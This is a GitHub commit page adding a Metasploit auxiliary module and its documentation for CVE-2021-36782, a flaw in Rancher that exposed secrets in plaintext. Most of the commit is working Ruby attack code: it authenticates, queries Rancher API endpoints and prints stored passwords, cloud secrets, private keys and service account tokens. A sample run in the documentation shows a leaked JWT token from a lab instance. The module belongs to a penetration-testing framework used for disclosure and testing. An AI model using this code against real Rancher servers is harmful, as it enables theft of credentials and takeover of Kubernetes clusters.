-
Notifications
You must be signed in to change notification settings - Fork 14.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Showing
2 changed files
with
306 additions
and
0 deletions.
There are no files selected for viewing
118 changes: 118 additions & 0 deletions
118
documentation/modules/auxiliary/gather/rancher_authenticated_api_cred_exposure.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,118 @@ | ||
## Vulnerable Application | ||
|
||
An issue was discovered in Rancher versions up to and including | ||
2.5.15 and 2.6.6 where sensitive fields, like passwords, API keys | ||
and Ranchers service account token (used to provision clusters), | ||
were stored in plaintext directly on Kubernetes objects like Clusters, | ||
for example cluster.management.cattle.io. Anyone with read access to | ||
those objects in the Kubernetes API could retrieve the plaintext | ||
version of those sensitive data. | ||
|
||
### Install | ||
|
||
* Clone the repository from: https://github.com/fe-ax/tf-cve-2021-36782 | ||
* Create a Digital Ocean API Token | ||
* Log into Digital Ocean and navigate to: API > Tokens | ||
* Select "Generate New Token" | ||
* Enter a token name and then select either Full Access or Custom Scopes | ||
* If selecting Custom Scopes, use the values provided below | ||
* Back in the `tf-cve-2021-36782`, copy the `example.tfvars` file to `yourown.tfvars` | ||
* Edit `yourown.tfvars` and add the newly generated DO API token as `do_token` | ||
* Optionally set the region for the clusters to one closer to you (e.g. `nyc3`) | ||
* Run `terraform init` | ||
* Run `terraform apply -var-file yourown.tfvars`, this can take about 20 minutes to run | ||
* Take the hostname from the `rancher_admin_url` output from terraform and use that as the `RHOST` value for the module | ||
* Take the password from the `rancher_password` file and use that with the username "admin" for the module | ||
|
||
#### Digital Ocean API Token Custom Scopes | ||
It's possible that there are unnecessary privileges contained within the following settings, however it does permit the | ||
test environment to start without a full access token. | ||
|
||
* Fully Scoped Access: | ||
* 1click (2): create, read | ||
* account (1): read | ||
* actions (1): read | ||
* billing (1): read | ||
* kubernetes (5): create, read, update, delete, access_cluster | ||
* load_balancer (4): create, read, update, delete | ||
* monitoring (4): create, read, update, delete | ||
* project (4): create, read, update, delete | ||
* regions (1): read | ||
* registry (4): create, read, update, delete | ||
* sizes (1): read | ||
* Create Access: | ||
* app / droplet / firewall / ssh_key | ||
* Read Access: | ||
* app / block_storage / block_storage_action / block_storage_snapshot / cdn / certificate / database / domain / droplet / firewall / function / image / reserved_ip / snapshot / ssh_key / tag / uptime / vpc | ||
* Update Access: | ||
* ssh_key | ||
|
||
## Verification Steps | ||
|
||
1. Install the application | ||
1. Start msfconsole | ||
1. Do: `use auxiliary/gather/rancher_authenticated_api_cred_exposure` | ||
1. Do: `set rhosts [ip]` | ||
1. Do: `set username [username]` | ||
1. Do: `set password [password]` | ||
1. Do: `run` | ||
1. If any API items of value are found, they will be printed | ||
|
||
## Options | ||
|
||
### Username | ||
|
||
Username for Rancher. user must be in one or more of the following groups: | ||
|
||
* `Cluster Owners` | ||
* `Cluster Members` | ||
* `Project Owners` | ||
* `Project Members` | ||
* `User Base` | ||
|
||
### Password | ||
|
||
Password for Rancher. | ||
|
||
## Scenarios | ||
|
||
### Docker Image | ||
|
||
``` | ||
msf6 > use auxiliary/gather/rancher_authenticated_api_cred_exposure | ||
msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > set rhosts rancher.178.62.209.204.sslip.io | ||
rhosts => rancher.178.62.209.204.sslip.io | ||
msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > set username readonlyuser | ||
username => readonlyuser | ||
msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > set password readonlyuserreadonlyuser | ||
password => readonlyuserreadonlyuser | ||
msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > set verbose true | ||
verbose => true | ||
msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > run | ||
[*] Running module against 178.62.209.204 | ||
[*] Attempting login | ||
[-] Auxiliary aborted due to failure: unreachable: 178.62.209.204:443 - Could not connect to web service - no response | ||
[*] Auxiliary module execution completed | ||
msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > run | ||
[*] Running module against 178.62.209.204 | ||
[*] Attempting login | ||
[+] login successful, querying APIs | ||
[*] Querying /v1/management.cattle.io.catalogs | ||
[*] Querying /v1/management.cattle.io.clusters | ||
[+] Found leaked key Cluster.Status.ServiceAccountToken: eyJhbGciOiJSUzI1NiIsImtpZCI6IndsUHhqR1pxX1dSbkFwVG92SFZ1RWV5WDNjbktDTmhZRVUtOFhWY2gyQ0kifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJjYXR0bGUtc3lzdGVtIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImtvbnRhaW5lci1lbmdpbmUtdG9rZW4taG52eG4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoia29udGFpbmVyLWVuZ2luZSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjgyOWZiN2FiLTA0NzItNDA1ZC1iOWI4LTRmNjhjYmZhNDAyMyIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpjYXR0bGUtc3lzdGVtOmtvbnRhaW5lci1lbmdpbmUifQ.URiTKnslommru1NDTq-ClcSc9DBsQwr4_eqSCfksoIeGACwYKK3kPCxe0aVixOkWK9saFTcR46bEz7Of4BfMjUShBl89zSmaGHmlNvYd2sLssWMXbcQInC4Y7Ckti49VbBFoU5EWe-LBSiNrhZcNL6NTn00PgMlIT7OFiSugg8ar7k6Q1Suak0pW_ea1Z56bHGWD-WJM8GsYxohXX7HwYh8cyfOSd_jH6HTZ-p6qsZcWAHnREuzNwcdXqycDVxTA48XEZlfLOJDgvbyhNPssedf3os1rcWTQ5vh_NzUjyqpb8PzQOWm427XjMzBQxwSJVyu1a2TYlNXsLX9qCARjng | ||
[*] Querying /v1/management.cattle.io.clustertemplates | ||
[*] Querying /v1/management.cattle.io.notifiers | ||
[*] Querying /v1/project.cattle.io.sourcecodeproviderconfig | ||
[-] No response received from /v1/project.cattle.io.sourcecodeproviderconfig | ||
[*] Querying /k8s/clusters/local/apis/management.cattle.io/v3/catalogs | ||
[*] Querying /k8s/clusters/local/apis/management.cattle.io/v3/clusters | ||
[-] No response received from /k8s/clusters/local/apis/management.cattle.io/v3/clusters | ||
[*] Querying /k8s/clusters/local/apis/management.cattle.io/v3/clustertemplates | ||
[*] Querying /k8s/clusters/local/apis/management.cattle.io/v3/notifiers | ||
[*] Querying /k8s/clusters/local/apis/project.cattle.io/v3/sourcecodeproviderconfigs | ||
[*] Auxiliary module execution completed | ||
``` | ||
|
||
The [Cluster.Status.ServiceAccountToken](https://jwt.io/#debugger-io?token=eyJhbGciOiJSUzI1NiIsImtpZCI6IndsUHhqR1pxX1dSbkFwVG92SFZ1RWV5WDNjbktDTmhZRVUtOFhWY2gyQ0kifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJjYXR0bGUtc3lzdGVtIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImtvbnRhaW5lci1lbmdpbmUtdG9rZW4taG52eG4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoia29udGFpbmVyLWVuZ2luZSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjgyOWZiN2FiLTA0NzItNDA1ZC1iOWI4LTRmNjhjYmZhNDAyMyIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpjYXR0bGUtc3lzdGVtOmtvbnRhaW5lci1lbmdpbmUifQ.URiTKnslommru1NDTq-ClcSc9DBsQwr4_eqSCfksoIeGACwYKK3kPCxe0aVixOkWK9saFTcR46bEz7Of4BfMjUShBl89zSmaGHmlNvYd2sLssWMXbcQInC4Y7Ckti49VbBFoU5EWe-LBSiNrhZcNL6NTn00PgMlIT7OFiSugg8ar7k6Q1Suak0pW_ea1Z56bHGWD-WJM8GsYxohXX7HwYh8cyfOSd_jH6HTZ-p6qsZcWAHnREuzNwcdXqycDVxTA48XEZlfLOJDgvbyhNPssedf3os1rcWTQ5vh_NzUjyqpb8PzQOWm427XjMzBQxwSJVyu1a2TYlNXsLX9qCARjng) is actually a JWT token as seen in the link. |
188 changes: 188 additions & 0 deletions
188
modules/auxiliary/gather/rancher_authenticated_api_cred_exposure.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,188 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Auxiliary | ||
include Msf::Exploit::Remote::HttpClient | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Rancher Authenticated API Credential Exposure', | ||
'Description' => %q{ | ||
An issue was discovered in Rancher versions up to and including | ||
2.5.15 and 2.6.6 where sensitive fields, like passwords, API keys | ||
and Ranchers service account token (used to provision clusters), | ||
were stored in plaintext directly on Kubernetes objects like Clusters, | ||
for example cluster.management.cattle.io. Anyone with read access to | ||
those objects in the Kubernetes API could retrieve the plaintext | ||
version of those sensitive data. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => [ | ||
'h00die', # msf module | ||
'Florian Struck', # discovery | ||
'Marco Stuurman' # discovery | ||
], | ||
'References' => [ | ||
[ 'URL', 'https://github.com/advisories/GHSA-g7j7-h4q8-8w2f'], | ||
[ 'URL', 'https://github.com/fe-ax/tf-cve-2021-36782'], | ||
[ 'URL', 'https://fe.ax/cve-2021-36782/'], | ||
[ 'CVE', '2021-36782'] | ||
], | ||
'DisclosureDate' => '2022-08-18', | ||
'DefaultOptions' => { | ||
'RPORT' => 443, | ||
'SSL' => true | ||
}, | ||
'Notes' => { | ||
'Stability' => [], | ||
'Reliability' => [], | ||
'SideEffects' => [] | ||
} | ||
) | ||
) | ||
register_options( | ||
[ | ||
OptString.new('USERNAME', [ true, 'User to login with']), | ||
OptString.new('PASSWORD', [ true, 'Password to login with']), | ||
OptString.new('TARGETURI', [ true, 'The URI of Rancher instance', '/']) | ||
] | ||
) | ||
end | ||
|
||
def username | ||
datastore['USERNAME'] | ||
end | ||
|
||
def password | ||
datastore['PASSWORD'] | ||
end | ||
|
||
def rancher? | ||
res = send_request_cgi({ | ||
'uri' => normalize_uri(target_uri.path, 'dashboard/'), | ||
'keep_cookies' => true | ||
}) | ||
return false unless res&.code == 200 | ||
|
||
html = res.get_html_document | ||
title = html.at('title').text | ||
title == 'dashboard' # this is a VERY weak check | ||
end | ||
|
||
def login | ||
# get our cookie first with CSRF token | ||
res = send_request_cgi({ | ||
'uri' => normalize_uri(target_uri.path, 'v1', 'management.cattle.io.setting'), | ||
'keep_cookies' => true | ||
}) | ||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? | ||
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") unless res.code == 200 | ||
|
||
json_post_data = JSON.pretty_generate( | ||
{ | ||
'description' => 'UI session', | ||
'responseType' => 'cookie', | ||
'username' => username, | ||
'password' => password | ||
} | ||
) | ||
fail_with(Failure::UnexpectedReply, "#{peer} - CSRF token not found in cookie") unless res.get_cookies.to_s =~ /CSRF=(\w*);/ | ||
|
||
csrf = ::Regexp.last_match(1) | ||
|
||
res = send_request_cgi( | ||
'uri' => normalize_uri(target_uri.path, 'v3-public', 'localProviders', 'local'), | ||
'keep_cookies' => true, | ||
'method' => 'POST', | ||
'vars_get' => { | ||
'action' => 'login' | ||
}, | ||
'headers' => { | ||
'accept' => 'application/json', | ||
'X-Api-Csrf' => csrf | ||
}, | ||
'ctype' => 'application/json', | ||
'data' => json_post_data | ||
) | ||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? | ||
fail_with(Failure::NoAccess, "#{peer} - Login failed, check credentials") if res.code == 401 | ||
end | ||
|
||
def check | ||
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service, or does not seem to be a rancher website") unless rancher? | ||
|
||
Exploit::CheckCode::Detected('Seems to be rancher, but unable to determine version') | ||
end | ||
|
||
def run | ||
vprint_status('Attempting login') | ||
login | ||
vprint_good('Login successful, querying APIs') | ||
[ | ||
'/v1/management.cattle.io.catalogs', | ||
'/v1/management.cattle.io.clusters', | ||
'/v1/management.cattle.io.clustertemplates', | ||
'/v1/management.cattle.io.notifiers', | ||
'/v1/project.cattle.io.sourcecodeproviderconfig', | ||
'/k8s/clusters/local/apis/management.cattle.io/v3/catalogs', | ||
'/k8s/clusters/local/apis/management.cattle.io/v3/clusters', | ||
'/k8s/clusters/local/apis/management.cattle.io/v3/clustertemplates', | ||
'/k8s/clusters/local/apis/management.cattle.io/v3/notifiers', | ||
'/k8s/clusters/local/apis/project.cattle.io/v3/sourcecodeproviderconfigs' | ||
].each do |api_endpoint| | ||
vprint_status("Querying #{api_endpoint}") | ||
res = send_request_cgi( | ||
'uri' => normalize_uri(target_uri.path, api_endpoint), | ||
'headers' => { | ||
'accept' => 'application/json' | ||
} | ||
) | ||
if res.nil? | ||
vprint_error("No response received from #{api_endpoint}") | ||
next | ||
end | ||
next unless res.code == 200 | ||
|
||
json_body = res.get_json_document | ||
next unless json_body.key? 'data' | ||
|
||
json_body['data'].each do |data| | ||
# list taken directly from CVE writeup, however this isn't how the API presents its so we fix it later | ||
[ | ||
'Notifier.SMTPConfig.Password', | ||
'Notifier.WechatConfig.Secret', | ||
'Notifier.DingtalkConfig.Secret', | ||
'Catalog.Spec.Password', | ||
'SourceCodeProviderConfig.GithubPipelineConfig.ClientSecret', | ||
'SourceCodeProviderConfig.GitlabPipelineConfig.ClientSecret', | ||
'SourceCodeProviderConfig.BitbucketCloudPipelineConfig.ClientSecret', | ||
'SourceCodeProviderConfig.BitbucketServerPipelineConfig.PrivateKey', | ||
'Cluster.Spec.RancherKubernetesEngineConfig.BackupConfig.S3BackupConfig.SecretKey', | ||
'Cluster.Spec.RancherKubernetesEngineConfig.PrivateRegistries.Password', | ||
'Cluster.Spec.RancherKubernetesEngineConfig.Network.WeaveNetworkProvider.Password', | ||
'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.VsphereCloudProvider.Global.Password', | ||
'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.VsphereCloudProvider.VirtualCenter.Password', | ||
'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.OpenstackCloudProvider.Global.Password', | ||
'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.AzureCloudProvider.AADClientSecret', | ||
'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.AzureCloudProvider.AADClientCertPassword', | ||
'Cluster.Status.ServiceAccountToken', | ||
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.PrivateRegistries.Password', | ||
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.Network.WeaveNetworkProvider.Password', | ||
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.VsphereCloudProvider.Global.Password', | ||
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.VsphereCloudProvider.VirtualCenter.Password', | ||
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.OpenstackCloudProvider.Global.Password', | ||
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.AzureCloudProvider.AADClientSecret', | ||
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.AzureCloudProvider.AADClientCertPassword' | ||
].each do |leaky_key| | ||
leaky_key_fixed = leaky_key.split('.')[1..] # remove first item, | ||
leaky_key_fixed = leaky_key_fixed.map { |item| item[0].downcase + item[1..] } # downcase first letter in each word | ||
print_good("Found leaked key #{leaky_key}: #{data.dig(*leaky_key_fixed)}") if data.dig(*leaky_key_fixed) | ||
end | ||
end | ||
end | ||
end | ||
end |